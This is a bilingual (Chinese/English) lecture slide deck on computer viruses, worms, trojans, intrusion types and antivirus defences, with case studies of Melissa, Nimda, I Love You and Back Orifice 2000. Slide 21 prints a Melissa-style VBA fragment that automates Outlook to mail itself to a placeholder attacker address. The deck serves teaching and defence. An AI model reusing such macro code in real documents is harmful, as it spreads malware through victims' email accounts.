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電腦病毒與入侵

電腦病毒與入侵. 電腦病毒介紹 駭客入侵種類與名詞解釋 入侵偵測系統. Viruses and Other Malicious Content. computer viruses have got a lot of publicity one of a family of malicious software effects usually obvious have figured in news reports, fiction, movies (often exaggerated) getting more attention than deserve

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電腦病毒與入侵

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  1. 電腦病毒與入侵 • 電腦病毒介紹 • 駭客入侵種類與名詞解釋 • 入侵偵測系統

  2. Viruses and Other Malicious Content • computer viruses have got a lot of publicity • one of a family of malicious software • effects usually obvious • have figured in news reports, fiction, movies (often exaggerated) • getting more attention than deserve • are a concern though

  3. Malicious Software

  4. Trapdoors • secret entry point into a program • allows those who know access bypassing usual security procedures • have been commonly used by developers • a threat when left in production programs allowing exploited by attackers • very hard to block in O/S • requires good s/w development & update

  5. Logic Bomb • one of oldest types of malicious software • code embedded in legitimate program • activated when specified conditions met • eg presence/absence of some file • particular date/time • particular user • when triggered typically damage system • modify/delete files/disks

  6. Trojan Horse • program with hidden side-effects • which is usually superficially attractive • eg game, s/w upgrade etc • when run performs some additional tasks • allows attacker to indirectly gain access they do not have directly • often used to propagate a virus/worm or install a backdoor • or simply to destroy data

  7. Zombie • program which secretly takes over another networked computer • then uses it to indirectly launch attacks • often used to launch distributed denial of service (DDoS) attacks • exploits known flaws in network systems

  8. Viruses • a piece of self-replicating code attached to some other code • cf biological virus • both propagates itself & carries a payload • carries code to make copies of itself • as well as code to perform some covert task

  9. 惡性程式比較表

  10. 何謂電腦病毒 • 一 隻 特殊的電腦程式 • 自我複製  潛伏發作 • 病毒濫觴︰巴基斯坦兄弟的自立救濟 • 病毒、網際網路蟲毒、特落依木馬、後門

  11. 感染途徑 • 磁片、CD片 • 網路 • BBS • FTP • E-Mail • 網路芳鄰

  12. 病毒種類-1 • 開機型︰潛伏於磁碟啟動區中 • e.g.米開朗基羅﹐3/6發作﹐Format硬碟 • e.g.Monkey病毒﹐破壞硬碟的分割區 • 檔案型︰潛伏於執行檔中 • e.g. Friday the 13th﹐十三號星期五發作﹐刪除硬碟中所有的執行檔 • e.g.吃角子老虎﹐1,4,8月的15日發作﹐有五次下注機會﹐以還原硬碟中的資料

  13. 病毒種類-2 • 巨集型︰以Office的巨集撰寫而成 • e.g.台灣No.1﹐13日發作﹐猜拳﹐開20份空白文件 • e.g.阿扁病毒﹐﹐。有夢最美﹐希望相隨 • 混合型︰兼具開機與檔案型 • 網路病毒︰利用網路再傳播 • e.g. 梅莉莎（沒力殺？）病毒

  14. 防毒-1 • 不使用盜版軟體或來路不明軟體 • 關閉/設定Word的巨集安全 • 關閉網路共享資源 • 設定從硬碟開機﹐以避免感染開機型病毒/BIOS可以設定Virus防護 • 安裝防毒軟體﹐並定期更新病毒碼或利用防毒公司的push technology

  15. 防毒-2 • 準備一張急用開機片﹐可在中毒時急救 • 磁片平時應設為防寫狀態 • 從網路下載執行檔、電子郵件之附件檔請特別處理 • 備份！！備份！！備份！！

  16. 視窗系統的執行檔種類 • 二位元檔 (.exe和.com) • 批次檔 (.bat) • VBScript 檔 (.vbs) • JAR檔 (.jar)

  17. 中毒處理 • 立即關機 • 以乾淨之開機片重新開機 • 掃描、隔離、解毒 • 檢查其他磁片

  18. Worms • replicating but not infecting program • typically spreads over a network • cf Morris Internet Worm in 1988 • led to creation of CERTs • using users distributed privileges or by exploiting system vulnerabilities • widely used by hackers to create zombie PC's, subsequently used for further attacks, esp DoS • major issue is lack of security of permanently connected systems, esp PC's

  19. Worm Operation • worm phases like those of viruses: • dormant • propagation • search for other systems to infect • establish connection to target remote system • replicate self onto remote system • triggering • execution

  20. Recent Worm Attacks • new spate of attacks from mid-2001 • Code Red • exploited bug in MS IIS to penetrate & spread • probes random IPs for systems running IIS • had trigger time for denial-of-service attack • 2nd wave infected 360000 servers in 14 hours • Code Red 2 • had backdoor installed to allow remote control • Nimda • used multiple infection mechanisms • email, shares, web client, IIS, Code Red 2 backdoor

  21. 網路病毒案例- 梅莉莎 • 電子郵件的標題取為“An important message from <傳送者名稱>”, 而訊息的主體是“Here is that document you asked for …don’t show anyone else;-).” • 原始碼： Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) BreakUmOffASlice.Recipients.Add attacker@example.com BreakUmOffASlice.Subject = "Important Message From " & Application.CurrentUser BreakUmOffASlice.Send DasMapiName.Logoff

  22. 網路病毒案例 - Nimda • 傳遞途徑 • 電子郵件 • 網路芳鄰 • 網站 • Reference: www.symantec.com

  23. 網路病毒案例 – I Love You • 標題：I LOVEYOU, 附加檔：LOVE-LETTER-FOR-YOU.txt.vbs • 感染：*.mp3, *.vbs, *.jpg, *.jpeg, *.hta, *.vbe… 改成*.vbs • What’s VBS: msgbox "Click OK to reformat hard drive."

  24. 駭客入侵種類 -1

  25. Buffer Overflows 例子 • 如果您在安裝 Red Hat Linux 之初， 便已選好 NFS Server 項目，原則上， rpc.mountd 和 rpc.nfsd 這兩個重要的 daemon 都會隨 Linux 而自動啟動， 您大概只需要編輯 /etc/exports 檔案， 便可透過 NFS 方式將檔案資源分享出來。 入侵者可以透過這些版本 mountd 中存在的 buffer overflow 漏洞，來取得管理者的權限。只要mountd 這個 程式正在執行，不論有沒有分享(export)檔案，皆可能被入侵。目前確認存 在此一漏洞的系統有： 所有版本的 Red Hat Linux。

  26. 駭客入侵種類 -2

  27. 特洛伊木馬Back Orifice 2000 • 讓受害機器重新開機。 • 鎖住受害機器。 • 從密碼緩衝區攫取所有的網路密碼。 • 得到機器的資訊, 例如處理器的速度、記憶體及磁碟的空間。 • 錄下使用者在機器上所敲打的任何按鍵, 並隨時檢視它們。 • 顯示系統訊息視窗。 • 將系統埠重新轉向到其它的IP位址和通訊埠。 • 新增或刪除微軟網路的共享資源。 • 對應或取消資源與網路的對應。 • 啟動、刪除、以及列出系統的程序, 包括關閉使用者正在執行的程式。 • 編輯與檢視使用者登錄的完整權利。 • 在受害機器上播放挑選的聲音檔。 • 擷取使用者的電腦畫面。 • 列出機器上是否裝有任何的影像抓取設備, 例如數位照相機；如果有, 駭客就可以利用它來擷取動畫或固定的影像。這將允許駭客直接監視受害者的房間。 • 對使用者硬碟完整的存取與編輯的權利。 • 關閉這個伺服器, 以及將它自己完全從系統中移除。

  28. 駭客入侵種類 -3

  29. 行動程式碼安全 • 巨集語言 VBA • JavaScript • VBScript • Java Applet • ActiveX 控制項

  30. VBScript 受限的動作 • 檔案I/O • 動態資料交換 (Dynamic Data Exchange, DDE) • 物件的產生 (Object Instantiation) • 直接資料庫存取 (Direct Database Access, DAO) • 執行DDL

  31. Virus Countermeasures • viral attacks exploit lack of integrity control on systems • to defend need to add such controls • typically by one or more of: • prevention - block virus infection mechanism • detection - of viruses in infected system • reaction - restoring system to clean state

  32. Anti-Virus Software • first-generation • scanner uses virus signature to identify virus • or change in length of programs • second-generation • uses heuristic rules to spot viral infection • or uses program checksums to spot changes • third-generation • memory-resident programs identify virus by actions • fourth-generation • packages with a variety of antivirus techniques • eg scanning & activity traps, access-controls

  33. Advanced Anti-Virus Techniques • generic decryption • use CPU simulator to check program signature & behavior before actually running it • digital immune system (IBM) • general purpose emulation & virus detection • any virus entering org is captured, analyzed, detection/shielding created for it, removed

  34. Behavior-Blocking Software • integrated with host O/S • monitors program behavior in real-time • eg file access, disk format, executable mods, system settings changes, network access • for possibly malicious actions • if detected can block, terminate, or seek ok • has advantage over scanners • but malicious code runs before detection

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